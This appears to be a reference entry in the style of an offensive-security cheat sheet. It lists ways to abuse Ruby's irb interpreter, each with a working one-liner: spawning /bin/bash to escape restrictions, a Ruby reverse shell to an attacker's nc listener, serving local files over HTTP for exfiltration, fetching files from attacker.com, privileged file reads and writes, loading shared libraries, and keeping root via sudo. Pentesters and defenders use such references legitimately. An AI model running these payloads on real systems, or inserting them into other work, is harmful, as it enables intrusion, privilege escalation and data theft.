Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

irb
exec '/bin/bash'

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST='127.0.0.1'
export RPORT=9000
irb
require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end

File upload

It can exfiltrate files on the network.

Serve files in the local folder running an HTTP server on port 8888.

irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
irb
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

irb
File.open("file_to_write", "w+") { |f| f.write("DATA") }

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

irb
puts File.read("file_to_read")

Library load

It loads shared libraries that may be used to run code in the binary execution context.

irb
require "fiddle"; Fiddle.dlopen("lib.so")

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo irb
exec '/bin/bash'